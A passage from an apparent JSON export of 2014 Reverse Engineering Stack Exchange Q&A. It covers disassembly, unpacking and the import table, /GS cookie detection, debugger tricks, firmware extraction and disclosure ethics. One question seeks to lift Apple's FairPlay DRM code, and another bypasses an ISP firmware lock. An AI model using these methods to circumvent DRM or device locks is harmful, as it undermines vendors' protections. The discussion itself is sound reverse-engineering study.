40057c:   48 89 c7                mov    %rax,%rdi\n  40057f:   b8 00 00 00 00          mov    $0x0,%eax\n  400584:   e8 bf fe ff ff          callq  400448 &lt;gets@plt&gt;\n\n// This is the strcpy to firstname. The address of firstname is at 0x6009e0.\n// We don't know how large it is, as we haven't seen a variable behind it yet.\n  400589:   be a8 06 40 00          mov    $0x4006a8,%esi\n  40058e:   bf e0 09 60 00          mov    $0x6009e0,%edi\n  400593:   e8 c0 fe ff ff          callq  400458 &lt;strcpy@plt&gt;\n\n// And this is the second strcpy, to lastname at 0x6000980. Since we've\n// seen the other strcpy to 0x60009e0, we assume that there are no more than\n// 0x50=80 bytes in that buffer, but see below.\n  400598:   be ad 06 40 00          mov    $0x4006ad,%esi\n  40059d:   bf 80 09 60 00          mov    $0x600980,%edi\n  4005a2:   e8 b1 fe ff ff          callq  400458 &lt;strcpy@plt&gt;\n\n// end of function\n  4005a7:   c9                      leaveq \n  4005a8:   c3                      retq   \n</code></pre>\n\n<p>The C source code said</p>\n\n<pre><code>char firstname[80];\nchar lastname[80];\nstrcpy(firstname, \"John\");\nstrcpy(lastname, \"Doe\");\n</code></pre>\n\n<p>and from the address difference between the two <code>strcpy</code>s, we assumed an array size of 80. But note that the exact same instructions would have been generated in that case:</p>\n\n<pre><code>char name[160];\nstrcpy(name+80, \"John\");\nstrcpy(name, \"Doe\");\n</code></pre>\n\n<p>So if you don't have debugging symbols, all you get are assumptions.</p>\n"
    },
    {
        "Id": "6678",
        "CreationDate": "2014-11-21T18:40:16.403",
        "Body": "<p>I've been spending a good chunk of time looking at some 3rd party applications that were successful in \"reproducing\" (although I believe not necessarily by understanding the algorithm completely but simply extracting the core of the logic from the original binaries and replicating it into their own programs) the main logic for simulating an Apple TV server with full <strong>AirPlay mirroring</strong> support, to name a few:</p>\n\n<ol>\n<li>AirServer (OSX/Windows)</li>\n<li>Reflector (OSX/Windows)</li>\n<li>AirReceiver (Android)</li>\n<li>X-Mirage (OSX/Windows)</li>\n<li>AirPin PRO (Android)</li>\n<li>EZCast Screen (Android)</li>\n<li>Xiaomi Milian (Android/runs on Xiaomi Box)</li>\n</ol>\n\n<p>By looking at their decompiled code and some other references on the web, most of the protocol aspect is already known/relatively easy to figure out and I did it already, so no sweat there, the key part I'm having a tough time understanding how these guys were able to pull it off is related to the FairPlay decryption portion (i.e.: when receiving and responding to the <code>fp-setup</code> challenges as well as decrypting the AES key sent in the last step of the challenge).</p>\n\n<p>They all seem to have extracted the <a href=\"https://reverseengineering.stackexchange.com/questions/6544/identify-decompiled-decryption-algorithm\">white-boxed/obfuscated</a> functions out of Apple's original <code>airtunesd</code>/<code>fairplayd</code> daemon code and embedded it into their source, delegating the calls to seed/encrypt/decrypt to it.</p>\n\n<p>I noticed in some iOS devices this daemon also exist (most likely used to encrypt the feed when mirroring the screen via AirPlay to a compatible server) but was wondering how different this really is from the one shipped with the Apple TV and if my assumptions are actually correct (is that were most of these guys are taking this code from?).</p>\n\n<p>Was hoping either someone with previous experience or a little more knowledge on the topic could shed some light/pointers so I could find a way to at least do the same these guys were able to accomplish (which is not really deobfuscating the code but just extracting it to embed in their own programs).</p>\n\n<p><strong>PS:</strong> For clarity, aside from confirmation I was looking for some pointers as to how one would be able to extract <strong>compilable</strong> code from a said binary, given my attempts at disassembling and decompiling via IDA Pro haven't provided me with much that I can reuse to compile new code that reproduces that piece of the puzzle.</p>\n",
        "Title": "AirPlay Mirroring decryption (FairPlay)",
        "Tags": "|disassembly|decompilation|obfuscation|encryption|decryption|",
        "Answer": "<p>From my work (on applications I will not disclose) I will give a short conclusion. The device does not use the older AirPlay methods. e.g. there isn't just a single key that can decrypt across any device. You must have a server, we call it an \"AirPlay server\", that the device calls for a decryption key for that specific session. The rest of the work is done on the device (decryption). So the device asks the server, server responds with a key, device uses the key for decryption. Most of the actual work is done on the device.</p>\n"
    },
    {
        "Id": "6679",
        "CreationDate": "2014-11-21T23:30:12.663",
        "Body": "<p>Our ISP, MWeb, gave us a free router and Wifi extender (WRE2205v2) as part of a new promotion. Neither of them really work at all (the extender works for about a minute then fails for no apparent reason). Acording to reviews, it should be a decent repeater, but it seems Mweb has completely screwed up the firmware.</p>\n\n<p><a href=\"http://simonfredsted.com/996\" rel=\"nofollow\">This blog post</a> shows how to get very basic root access (it's running embedded Linux) on the device (the security is... bad). So far I've worked out it's a MIPS device (running <code>file</code> on an executable gives <code>ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV)</code> and the file system is squash-fs, so read only. I can also copy files to/from the device using tftp. </p>\n\n<p>I also know that both the branded firmware and the stock firmware use a binary called fw_upgrade to flash a new firmware. I tried decompiling them using <a href=\"http://decompiler.fit.vutbr.cz/decompilation/\" rel=\"nofollow\">http://decompiler.fit.vutbr.cz/decompilation/</a> but I haven't had much luck there. The branded one has a bit more code which I assume checks something about the new firmware and prevents the stock firmware from being flashed. Finally I tried copying the stock fw_upgrade to the device and running it but it fails without an error message.</p>\n\n<p>What else can I do to get the stock firmware running?</p>\n",
        "Title": "Modifying / Installing stock firmware on ISP Branded WRE2205",
        "Tags": "|disassembly|decompilation|linux|firmware|",
        "Answer": "<p>I just got it working. Turns out I didn't need to modify the binary. After extracting the squash-fs file system from the update file, I managed to copy fw_update to the device using tftp. Running that binary (<code>/etc/fw_update upg fw.bin</code>) instead of the ISP one worked and flashed the stock firmware. The binary needs to be copied to /etc or /var because the rest is read-only.</p>\n"
    },
    {
        "Id": "6685",
        "CreationDate": "2014-11-22T13:20:39.683",
        "Body": "<p>I want to attach OllyDbg or IDA to a process as soon as it is loaded in memory before a single instruction of it being executed. How do I do This???\nI cant use File->Open for some reason. I can only attach to it.</p>\n",
        "Title": "how to attach to a process as soon as it is loaded in memory",
        "Tags": "|ida|ollydbg|debuggers|debugging|",
        "Answer": "<p>One way to do is create a new process using <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx\" rel=\"noreferrer\"><code>CreateProcess</code></a> with <code>dwCreationFlags</code> as <code>CREATE_SUSPENDED</code>. Next attach to the suspended process using your debugger, and resume all threads.</p>\n\n<p>Some other way would be to edit the PE file and change the bytes at the entrypoint to <code>EB FE</code>.\nThis is an instruction that jumps to itself, i.e. it is an infinite loop. Next start the application normally. Now use a debugger to attach to it. Restore the original bytes at the entrypoint and resume the process.</p>\n"
    },
    {
        "Id": "6693",
        "CreationDate": "2014-11-23T22:28:25.893",
        "Body": "<p>I'm working with a function thats similar to Memory Resize like <code>realloc</code> / <code>redim</code> in VB.</p>\n\n<p>The first 3 lines decompiled look like</p>\n\n<pre><code>char *__cdecl ExpandMemory(void *lpAddress, signed int StartPos, signed int MaxSize)\n{\n    int NewSize; // edi@3\n\n    if ( StartPos &gt; 0x80000 )\n        MaxSize = 16 * MaxSize;\n    NewSize = MaxSize * (MaxSize + StartPos - 1) / MaxSize;\n    //Lots of stuff goes here\n}\n</code></pre>\n\n<p>Can someone tell me what this line is suppose to do</p>\n\n<p><code>NewSize = MaxSize * (MaxSize + StartPos - 1) / MaxSize;</code></p>\n\n<p>I have a very strong feeling its a <code>Math.MIN()</code> function without <code>?:</code></p>\n\n<p>Since MIN function is declared like this</p>\n\n<pre><code>#define MIN(X, Y) (((X) &lt; (Y)) ? (X) : (Y))\n</code></pre>\n\n<p>I don't understand how that math could resemble it, could someone explain what it's suppose to do.</p>\n\n<p>As far as I know it doesn't even work properly keeps creating a NewSize which is far greater then the MaxSize, if it could work can someone explain how it could actually work?\nIn most spots the MaxSize parameter is usually <code>1</code> which indicates no limit and uses StartPos only, where MaxSize is used it usually is 65536 or 2048 some binary values. But it doesn't have anything to do with binary what so ever.</p>\n\n<p>In ASM the code looks like this</p>\n\n<pre><code>.text:004083BC                 lea     eax, [ecx+eax-1]\n.text:004083C0                 cdq\n.text:004083C1                 idiv    ecx\n.text:004083C3                 mov     edi, eax\n.text:004083C5                 imul    edi, ecx\n.text:004083C8                 mov     ecx, [esp+114h+arg_0]\n</code></pre>\n\n<p>Full decompiled source:</p>\n\n<pre><code>char *__cdecl ExpandMemory(void *a1, signed int NewSize, signed int MaxSize)\n{\n  signed int HowMuchBiggerr; // ecx@1\n  int NewSizee; // edi@3\n  char *v5; // eax@5\n  char *v6; // esi@8\n  char *result; // eax@13\n  void *v8; // eax@15\n  signed int v9; // esi@18\n  int v10; // edi@18\n  char *v11; // eax@22\n  char *v12; // eax@27\n  char *v13; // ebp@30\n  unsigned int v14; // ecx@35\n  void *Memory; // [sp+10h] [bp-104h]@18\n  char Text[256]; // [sp+14h] [bp-100h]@11\n\n  HowMuchBiggerr = MaxSize;\n  if ( NewSize &gt; (signed int)0x80000u )\n    HowMuchBiggerr = 16 * MaxSize;\n  NewSizee = HowMuchBiggerr * (HowMuchBiggerr + NewSize - 1) / HowMuchBiggerr;\n  if ( a1 )\n  {\n    if ( NewSizee )\n    {\n      v9 = *((_DWORD *)a1 - 1);                 // Okay minus 4 bytes from beginning of pointed data is size? (must be a special structure of some kind)\n      v10 = NewSizee + 4;\n      Memory = (char *)a1 - 4;\n      if ( v10 == v9 )                          // Check if special attribute (Size?) exists and equals the New Size so it can ignore it.\n      {\n        result = (char *)a1;\n      }\n      else\n      {\n        if ( v9 &gt; (signed int)0x80000u || v10 &gt; (signed int)0x80000u )\n        {\n          if ( v10 &lt;= (signed int)0x80000u )\n            v12 = (char *)malloc(v10);\n          else\n            v12 = (char *)VirtualAlloc(0, v10, 0x1000u, 4u);\n          if ( v12 )\n          {\n            *(_DWORD *)v12 = v10;\n            v13 = v12 + 4;\n          }\n          else\n          {\n            v13 = 0;\n          }\n          if ( !v13 )\n          {\n            sprintf(Text, \"Out of memory (Alloc:%d)\", v10 - 4);\n            MessageBoxA(0, Text, \"Error\", 0x30u);\n            exit(1);\n          }\n          v14 = v9 - 4;\n          if ( v9 - 4 &gt;= v10 - 4 )\n            v14 = v10 - 4;\n          memcpy(v13, a1, v14);\n          if ( *(_DWORD *)Memory &lt;= (signed int)0x80000u )\n          {\n            free(Memory);\n            result = v13;\n          }\n          else\n          {\n            VirtualFree(Memory, 0, 0x8000u);\n            result = v13;\n          }\n        }\n        else\n        {\n          v11 = (char *)realloc((char *)a1 - 4, v10);\n          if ( !v11 )\n          {\n            MessageBoxA(0, \"Out of memory (Resize)\", \"Error\", 0x30u);\n            exit(1);\n          }\n          *(_DWORD *)v11 = v10;\n          result = v11 + 4;\n        }\n      }\n    }\n    else\n    {\n      v8 = (char *)a1 - 4;\n      if ( *((_DWORD *)a1 - 1) &lt;= (signed int)0x80000u )\n      {\n        free(v8);\n        result = 0;\n      }\n      else\n      {\n        VirtualFree(v8, 0, 0x8000u);\n        result = 0;\n      }\n    }\n  }\n  else\n  {\n    if ( NewSizee + 4 &lt;= (signed int)0x80000u )\n      v5 = (char *)malloc(NewSizee + 4);\n    else\n      v5 = (char *)VirtualAlloc(0, NewSizee + 4, 0x1000u, 4u);\n    if ( v5 )\n    {\n      *(_DWORD *)v5 = NewSizee + 4;\n      v6 = v5 + 4;\n    }\n    else\n    {\n      v6 = 0;\n    }\n    if ( !v6 )\n    {\n      sprintf(Text, \"Out of memory (Alloc:%d)\", NewSizee);\n      MessageBoxA(0, Text, \"Error\", 0x30u);\n      exit(1);\n    }\n    result = v6;\n  }\n  return result;\n}\n</code></pre>\n",
        "Title": "Could this be a Math.Min function decompiled in C?",
        "Tags": "|assembly|decompile|",
        "Answer": "<p>Looks like a common pattern for <a href=\"https://stackoverflow.com/a/2745086/516037\">ceiling</a> to me. </p>\n\n<p>In other words <code>NewSize = ceil(StartPos/MaxSize) * MaxSize</code>, which is rounding it to the nearest multiple of <code>MaxSize</code> that is larger than <code>StartPos</code>.</p>\n"
    },
    {
        "Id": "6695",
        "CreationDate": "2014-11-24T01:23:43.427",
        "Body": "<p>I use this site <a href=\"http://www.showmycode.com/\" rel=\"nofollow\">http://www.showmycode.com/</a> to decompile the swf below\n<a href=\"http://kwcdn.000dn.com/swfs/8b/23440heisesm/bg.swf\" rel=\"nofollow\">http://kwcdn.000dn.com/swfs/8b/23440heisesm/bg.swf</a></p>\n\n<p>But the code only shows the link for a video but I can not get the image in the background. Where and how is that image is embedded in the swf? How can I retrieve that image?</p>\n\n<p>Long story short, I want to search which game is it, from an ads in a Chinese site, but I can not read any Chinese, and the ads is a fake lead to a fake game. So the easiest way is to decompile the swf and use the image in google search hoping for some results. The decomplied code is shown below:</p>\n\n<pre><code>function video_replay()\n{\n    my_ns.seek(0);\n}\nvar str_url = \"http://kwflvcdn.000dn.com/swfs/17/23308hssm/hesm.flv\";\nvar my_nc = new netconnection();\nmy_nc.connect(null);\nvar my_ns = new netstream(my_nc);\nmy_ns.setbuffertime(0);\nvar my_video;\nmy_video.attachvideo(my_ns);\nmy_video.smoothing = true;\nmy_ns.play(str_url);\nvar m_iErrorCount = 0;\nmy_ns.onstatus = function (infoObject)\n{\n    if ((infoObject.level == \"error\") &amp;&amp; (m_iErrorCount &lt; 2))\n    {\n        m_iErrorCount++;\n        var _local2 = setTimeout(video_replay, 3);\n    }\n    else if (infoObject.code == \"NetStream.Play.Stop\")\n    {\n        var _local2 = setTimeout(video_replay, 0);\n    }\n    else if (infoObject.code == \"NetStream.Buffer.Flush\")\n    {\n         trace(my_ns.time);\n    }\n};\n</code></pre>\n",
        "Title": "How to get resource in swf file?",
        "Tags": "|decompilation|actionscript|swf|",
        "Answer": "<p><a href=\"https://www.youtube.com/watch?v=EDUyzrxR-mY\" rel=\"nofollow\">https://www.youtube.com/watch?v=EDUyzrxR-mY</a></p>\n\n<p>game found enjoy it if you like. This is the real game from that flash teaser</p>\n\n<p>The game I found myself as well while I was visiting chinese upload websites\n<a href=\"http://bdtg.37.com/s/1/1789/22338.html?baidu_key=395e3e9222fd2722\" rel=\"nofollow\">http://bdtg.37.com/s/1/1789/22338.html?baidu_key=395e3e9222fd2722</a></p>\n"
    },
    {
        "Id": "6698",
        "CreationDate": "2014-11-24T15:00:49.093",
        "Body": "<p>When manually unpacking a program and ending up at the OEP, then why do we have to rebuild the import table? I understand that when packing, the import table is destroyed for compression/stealth, but if we're already at the OEP, it must mean the program is ready to roll because the unpacking stub has repaired the import table already? Otherwise it would just crash at the first external call.</p>\n",
        "Title": "Why isn't the import table ready at OEP?",
        "Tags": "|unpacking|iat|import-reconstruction|",
        "Answer": "<blockquote>\n  <p>if we're already at the OEP, it must mean the program is ready to roll\n  because the unpacking stub has repaired the import table already</p>\n</blockquote>\n\n<p>No, by the time the OEP is reached, the unpacking stub has populated the Import Address Table; it hasn't repaired the Import Table. You need to reconstruct the Import Table so that when you run the unpacked program, the Windows loader will populate the Import Address Table at runtime (with the correct function addresses at runtime) based on the data in the Import Table.</p>\n\n<p>(Note that there are always exceptions, but this is typically true for most packers.)</p>\n"
    },
    {
        "Id": "6699",
        "CreationDate": "2014-11-24T15:08:38.040",
        "Body": "<p>When a program is packed the OriginalFirstThunk tends to be discarded. When the loader resolves the imports, then how does it know which functions to look for? For some reason the IAT (FirstThunk) is magically filled with addresses even before system load, not function names. Why is that? It's as if the linker wrote down the DLL name and all the function addresses from the DLL directly into the IAT at compile time. Who's to say the addresses won't change on a DLL update? Or on ASLR?</p>\n\n<p>Why is there addresses in the IAT in the first place? Isn't it supposed to point to the function names and be changed at runtime? If there already exist \"pre-compiled\" addresses in the IAT, then why would we even need to go set up the IAT when the executable gets loaded?</p>\n\n<p>Considering this, why do we even need OriginalFirstThunk? If IAT has the function names or the addresses it seems useless to me.</p>\n",
        "Title": "Why is IAT filled with static addresses instead of function names?",
        "Tags": "|unpacking|iat|import-reconstruction|",
        "Answer": "<blockquote>\n  <p>When the loader resolves the imports, then how does it know which\n  functions to look for?</p>\n</blockquote>\n\n<p>It parses the Import Table. For each entry, it parses the DLL name and associated function names and/or function ordinals.</p>\n\n<blockquote>\n  <p>For some reason the IAT (FirstThunk) is magically filled with\n  addresses even before system load, not function names. Why is that?</p>\n</blockquote>\n\n<p>It's for <a href=\"http://msdn.microsoft.com/en-us/library/1080da4y.aspx\" rel=\"nofollow\">bound imports</a>. There's a good explanation of bound imports at the bottom of <a href=\"http://win32assembly.programminghorizon.com/pe-tut6.html\" rel=\"nofollow\">Iczelion's Tutorial 6: Import Table</a> in the Appendix.</p>\n\n<blockquote>\n  <p>Who's to say the addresses won't change on a DLL update? Or on ASLR?</p>\n</blockquote>\n\n<p>They <em>will</em> very likely change, in which case the Windows loader will ignore the bound function addresses and replace those address in the IAT with the dynamically resolved function addresses at runtime.</p>\n\n<blockquote>\n  <p>Why is there addresses in the IAT in the first place? Isn't it\n  supposed to point to the function names and be changed at runtime?</p>\n</blockquote>\n\n<p>No, the Import Table contains the function names; the Import Address Table contains function addresses.</p>\n"
    },
    {
        "Id": "6708",
        "CreationDate": "2014-11-24T18:14:42.857",
        "Body": "<p>I have to check massive amount of binaries whether they were compiled with the <code>/GS</code> option. I assume a good indicator would be to check if they have stack cookie or not. Do you know any tool that can do this, or any tool that I could build into a script, so I don't have to do it manually?</p>\n\n<h2>Edit</h2>\n\n<p><a href=\"http://technet.microsoft.com/en-us/library/ee672187.aspx\" rel=\"nofollow\">Found</a> <a href=\"http://www.microsoft.com/en-us/download/details.aspx?id=44995\" rel=\"nofollow\">Binscope</a>, I'll check if it's capable to check more binaries at the same time or it's scriptable.</p>\n\n<h2>Edit2</h2>\n\n<p>It requires debug symbols, so this is not a solution.</p>\n\n<h2>Edit3</h2>\n\n<p><a href=\"https://github.com/NetSPI/PEchecker\" rel=\"nofollow\">https://github.com/NetSPI/PEchecker</a></p>\n",
        "Title": "Check if binary was compiled with security checks (/GS)",
        "Tags": "|windows|tools|binary-analysis|software-security|stack-variables|",
        "Answer": "<ol>\n<li><p>you can check the <a href=\"http://mingw-w64.sourcearchive.com/documentation/2.0-1/ntimage_8h_source.html#l00107\" rel=\"nofollow\"><code>IMAGE_LOAD_CONFIG_DIRECTORY</code></a> structure, it has a field for the pointer to <code>SecurityCookie</code>'s value in the image.</p></li>\n<li><p>In very old binaries, this structure might be not used, or <code>SecurityCookie</code> RVA is 0 even though the binary may be using <code>/GS</code>. In such case you can scan for the characteristic code signature of the <code>@__security_check_cookie@4</code> function:</p>\n\n<pre><code>3B0D........7501C3E9 (VC7)  \n3B0D........0F85........C3 (VC7?)  \n3B0D........7502F3C3E9 (VC8+)\n</code></pre></li>\n<li><p>you can also scan for the initial cookie value (<code>BB40E64E</code>) in the binary. Though I guess this might produce some false positives.</p></li>\n</ol>\n"
    },
    {
        "Id": "6716",
        "CreationDate": "2014-11-26T02:13:59.010",
        "Body": "<p>We have an executable that loads an XML file into memory, before parsing it into objects. </p>\n\n<p>When this file is loaded into memory is it possible to, break when it is loaded into memory and then somehow extract the file from memory?</p>\n",
        "Title": "Dumping a file loaded into memory",
        "Tags": "|dumping|",
        "Answer": "<p>You can also just dump all the RAM :)\n<a href=\"https://github.com/volatilityfoundation/volatility\" rel=\"nofollow\">https://github.com/volatilityfoundation/volatility</a></p>\n"
    },
    {
        "Id": "6719",
        "CreationDate": "2014-11-26T18:32:52.363",
        "Body": "<p>I want lldb to break at the start of the actual code of an OS X application (which might be called <em>main</em> if symbols are existing). </p>\n\n<p>I am currently looking this up by hand, but as I want to script some actions, it would be great if this could somehow be realized automatically</p>\n\n<p><img src=\"https://i.stack.imgur.com/8fUYr.png\" alt=\"enter image description here\"></p>\n\n<p>Do you have any idea if there is a way?</p>\n",
        "Title": "lldb: break at start of actual code, not entrypoint",
        "Tags": "|debugging|osx|lldb|",
        "Answer": "<p>Try this:</p>\n\n<pre><code>(lldb) break set -n main\n(lldb) r\n(lldb) thread backtrace\n\nframe #0: 0x0000000000405696 app`main(argc=1, argv=...) + 22 at app.cpp:11\nframe #1: 0x00007ffff7216ec5 libc.so.6`__libc_start_main + 245\nframe #2: 0x0000000000401f79 app\n</code></pre>\n\n<p>The frame below (before) main is the one you want, and it's showing the library and function name.  You can set a breakpoint on it just like any other:</p>\n\n<pre><code>(lldb) break set -n __libc_start_main\nBreakpoint 1: where = libc.so.6`__libc_start_main, address = 0x00007ffff7216dd0\n</code></pre>\n\n<p>or, to be more specific:</p>\n\n<pre><code>(lldb) break set -s libc.so.6 -n __libc_start_main\nBreakpoint 2: where = libc.so.6`__libc_start_main, address = 0x00007ffff7216dd0\n</code></pre>\n\n<p>If you know the address, you could use it directly:</p>\n\n<pre><code>(lldb) break set -a 0x000000...\n</code></pre>\n\n<p>Then restart the process, and you should hit it immediately:</p>\n\n<pre><code>(lldb) r\nThere is a running process, kill it and restart?: [Y/n] y\n...\n* thread #1: ...__libc_start_main, name = 'app', stop reason = breakpoint\nframe #0: 0x00007ffff7216dd0 libc.so.6`__libc_start_main\n-&gt; ...: pushq  %r14\n(lldb)\n</code></pre>\n"
    },
    {
        "Id": "6720",
        "CreationDate": "2014-11-26T19:53:09.960",
        "Body": "<p>I'm trying to mount an img file for my wireless router firmware but I can't seem to do it successfully.</p>\n\n<p>When I fun the file command on that .img it returns the following:</p>\n\n<pre><code>$ file file.img \nfile.img: data\n</code></pre>\n\n<p>When I try to use mount on it I get the following:</p>\n\n<pre><code>$ sudo mount file.img test/\nmount: you must specify the filesystem type\n</code></pre>\n\n<p>When I try to tell to use \"-t auto\" I get the same output:</p>\n\n<pre><code>$ sudo mount -t auto file.img test\nmount: you must specify the filesystem type\n</code></pre>\n\n<p>xxd returns the following:</p>\n\n<pre><code>$ xxd -a N150R-V1.0.0.5_1.0.1.img | head\n0000000: 6465 7669 6365 3a4e 3135 3052 0a76 6572  device:N150R.ver\n0000010: 7369 6f6e 3a56 312e 302e 302e 355f 312e  sion:V1.0.0.5_1.\n0000020: 302e 310a 7265 6769 6f6e 3a0a 0000 0000  0.1.region:.....\n0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n*\n0000070: 0000 0000 0000 0000 0000 0000 0000 1232  ...............2\n0000080: 3036 3132 d9cf 3fc1 5297 2c87 0033 eed0  0612..?.R.,..3..\n0000090: 9f05 0000 9f05 0000 9b63 9e62 0505 0700  .........c.b....\n00000a0: 4e31 3530 522d 5631 2e30 2e30 2e35 5f31  N150R-V1.0.0.5_1\n00000b0: 2e30 2e31 0000 0000 0000 0000 0000 0000  .0.1............\n</code></pre>\n\n<p>binwalk gives the following:</p>\n\n<pre><code>$ binwalk N150R-V1.0.0.5_1.0.1.img \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n192           0xC0            Squashfs filesystem, big endian, version 3.0, size: 3403472 bytes, 1024 inodes, blocksize: 65536 bytes, created: 2013-11-28 11:44:07\n</code></pre>\n\n<p>fdisk (on OS X) returns:</p>\n\n<pre><code>$ fdisk N150R-V1.0.0.5_1.0.1.img \nDisk: N150R-V1.0.0.5_1.0.1.img  geometry: 26/4/63 [6656 sectors]\nSignature: 0x95EB\n         Starting       Ending\n #: id  cyl  hd sec -  cyl  hd sec [     start -       size]\n------------------------------------------------------------------------\n 1: 02  648  41  48 -  107 220  28 [ 275573942 - 2530152094] XENIX /     \n 2: C9  165 158   8 -  311  15  40 [1825336399 - 3160300718] &lt;Unknown ID&gt;\n 3: 12  606 153  51 -  988 164  42 [3547124620 - 4171149652] Compaq Diag.\n 4: BD  479 182  60 -  173 155  40 [2642289636 - 1573814809] &lt;Unknown ID&gt;\n</code></pre>\n\n<p>Could I get some guidance on how to extract the files from the img?  I have access to both OS X and Ubuntu.</p>\n\n<p><a href=\"http://support.on-networks.com/article_details/n150r-firmware-version-1005#N150R\" rel=\"nofollow\">Link to Firmware</a></p>\n\n<p>EDIT 1:\nResult of sasquatch:</p>\n\n<pre><code>$ sasquatch N150R-V1.0.0.5_1.0.1.img \nSquashFS version [24373.11825] / inode count [1312449891] suggests a SquashFS image of a different endianess\nNon-standard SquashFS Magic: devi\nReading a different endian SQUASHFS filesystem on N150R-V1.0.0.5_1.0.1.img\nFilesystem on N150R-V1.0.0.5_1.0.1.img is (13663:12590), which is a later filesystem version than I support!\n</code></pre>\n",
        "Title": "How to extract N150R firmware from .img file",
        "Tags": "|firmware|",
        "Answer": "<p>If you don't want to install yet another tool, it will probably mount if you strip off the header (the first 192 Bytes that binwalk talks about):</p>\n\n<pre><code>dd if=file.img of=file.squashfs bs=192 skip=1\nsudo mount file.squashfs test/\n</code></pre>\n\n<p>EDIT:</p>\n\n<p>Since the router seems to have a big-endian Mips processor, mounting didn't work for me either. The following worked on Ubuntu 14.04 however:</p>\n\n<pre><code>apt-get install liblzo2-dev \ngit clone https://github.com/devttyS0/sasquatch\nmake\nsasquatch /path/to/file.squashfs\n</code></pre>\n\n<p>(Obviously, you need <code>git</code>, <code>make</code>, <code>gcc</code> installed as well. <code>liblzo2-dev</code> was the only dependency i hadn't installed before. I had to used the file prepared with <code>dd</code> as shown above, not the original .img).</p>\n\n<p>In case you can't get it to work, here's the extracted file:</p>\n\n<p><a href=\"https://mega.co.nz/#!xFoQkZRB!lcdUdDVGKsgEeu8Q5HnL3BSBXJKCHe0jZkGwOyTSxlQ\" rel=\"nofollow\">https://mega.co.nz/#!xFoQkZRB!lcdUdDVGKsgEeu8Q5HnL3BSBXJKCHe0jZkGwOyTSxlQ</a></p>\n"
    },
    {
        "Id": "6723",
        "CreationDate": "2014-11-27T11:37:56.913",
        "Body": "<p>While I was reversing an elf binary, I tried to manually compute my environment variable's address. Therefore I found <a href=\"http://www.cnblogs.com/jesse123/archive/2011/11/07/2240217.html\" rel=\"nofollow\">this documentation</a> and we're said that there is one NULL DWORD at the end of the stack.</p>\n\n<p>In that case, the stack's binary isn't randomized, so there is a NULL DWORD at 0xbffffffc (0xc0000000 - 4). Then normally goes the program's name towards low addresses. So one would read into the stack:</p>\n\n<pre><code>./program_name\\0 + NULL DWORD\n</code></pre>\n\n<p>But I'm finding two dwords when I check this out with gdb:</p>\n\n<pre><code>(gdb) x/4x 0xc0000000 - 0x10\n0xbffffff0:     0x5f747365      0x00766e65      0x00000000      0x0000000\n</code></pre>\n\n<p>I can see that there's the end of my program name (plus the \\0 as well) but shouldn't it end  at 0xbffffffc instead of 0xbffffff8? There are two nul dwords instead of one, and I cannot understand why.</p>\n",
        "Title": "ELF File format Two terminating null dword towards 0xc0000000?",
        "Tags": "|gdb|elf|stack|",
        "Answer": "<p>I don't know which architecture you are on, but <a href=\"http://asm.sourceforge.net/articles/startup.html#st\" rel=\"nofollow\">the original documentation</a> links to <code>create_elf_tables</code> in binfmt_elf.c.</p>\n\n<p>In this function, you've got <code>p = arch_align_stack(p);</code>. The chinese documentation is obviously written for x86, but your architecture may use 8 bytes alignement for your stack, and pad with an extra DWORD.</p>\n"
    },
    {
        "Id": "6741",
        "CreationDate": "2014-11-29T15:52:10.613",
        "Body": "<p>I have seen the Moonsols Memory Toolkit for Windows (Community Edition). It however does not support x64 memory dumping. Only its professional version can do that. Are there any free alternatives out there that do the same ? To narrow down what I am looking for I would be interested in features like -:</p>\n\n<ul>\n<li><p>Convert a memory dump from a x64 Architecture.</p></li>\n<li><p>Convert or decompress Windows 7 hibernation files.</p></li>\n<li>Convert a Windows 7 memory dump.</li>\n</ul>\n\n<p>I have seen a lot of free tools for x86, but for x64 its a whole different ball game.</p>\n",
        "Title": "tools - Free Windows Memory Toolkit for x64",
        "Tags": "|memory|digital-forensics|",
        "Answer": "<p><a href=\"http://code.google.com/p/volatility/\" rel=\"nofollow\">Volatility</a> supports x64 Windows 7 hibernation files as well as x64 images.</p>\n"
    },
    {
        "Id": "6742",
        "CreationDate": "2014-11-29T17:29:34.277",
        "Body": "<p>About an year back I had seen a PDF of some research work that had been shared at /r/reverseengineering that tried to reason and understand the thought process involved in Reverse Engineering.</p>\n\n<p>Unfortunately I did not save the link and I'm having trouble finding it on reddit. I was wondering if anyone had a link of the same handy.</p>\n",
        "Title": "Reverse Engineering Thought Process",
        "Tags": "|process|",
        "Answer": "<p>You are probably refering to this document: <a href=\"http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA557042\" rel=\"nofollow\">http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA557042</a></p>\n"
    },
    {
        "Id": "6748",
        "CreationDate": "2014-11-30T12:33:05.003",
        "Body": "<p>Do I have to contact the producer of a software before publicly posting (Twitter, Blog, ...) about security issues of it? Does it matter how this knowledge was acquired (reverse engineering, sniffing network traffic, trial &amp; error, ...)? I'm living in Europe (if it matters).</p>\n\n<p>What about posting exploits? Is there any law prohibiting an exploit with source code, so a security issue could be reproduced by anyone?</p>\n\n<p>I'm talking about general-purpose software like Smartphone apps or desktop applications.</p>\n",
        "Title": "Is it legal to publicly post about security issues without informing the provider first (in Europe)?",
        "Tags": "|law|",
        "Answer": "<p>The best and ethical thing to do in this situation would be to contact the producer of the software/system and provide them with examples that verify the security problem.  If you want to verify information was received, make contact via phone with recipient and send it via a secure verifiable method ( including  overnight express etc....) .  If it is indeed an  exploit this will allow vendor time to hopefully patch their system and get ahead of any attacks that would benefit from the release of said information.  If vendor is ethical and appreciative , they in turn should give you credit for the reporting the security error once they have mitigated the problem (assuming you want to be named).   </p>\n"
    },
    {
        "Id": "6750",
        "CreationDate": "2014-11-30T16:49:05.543",
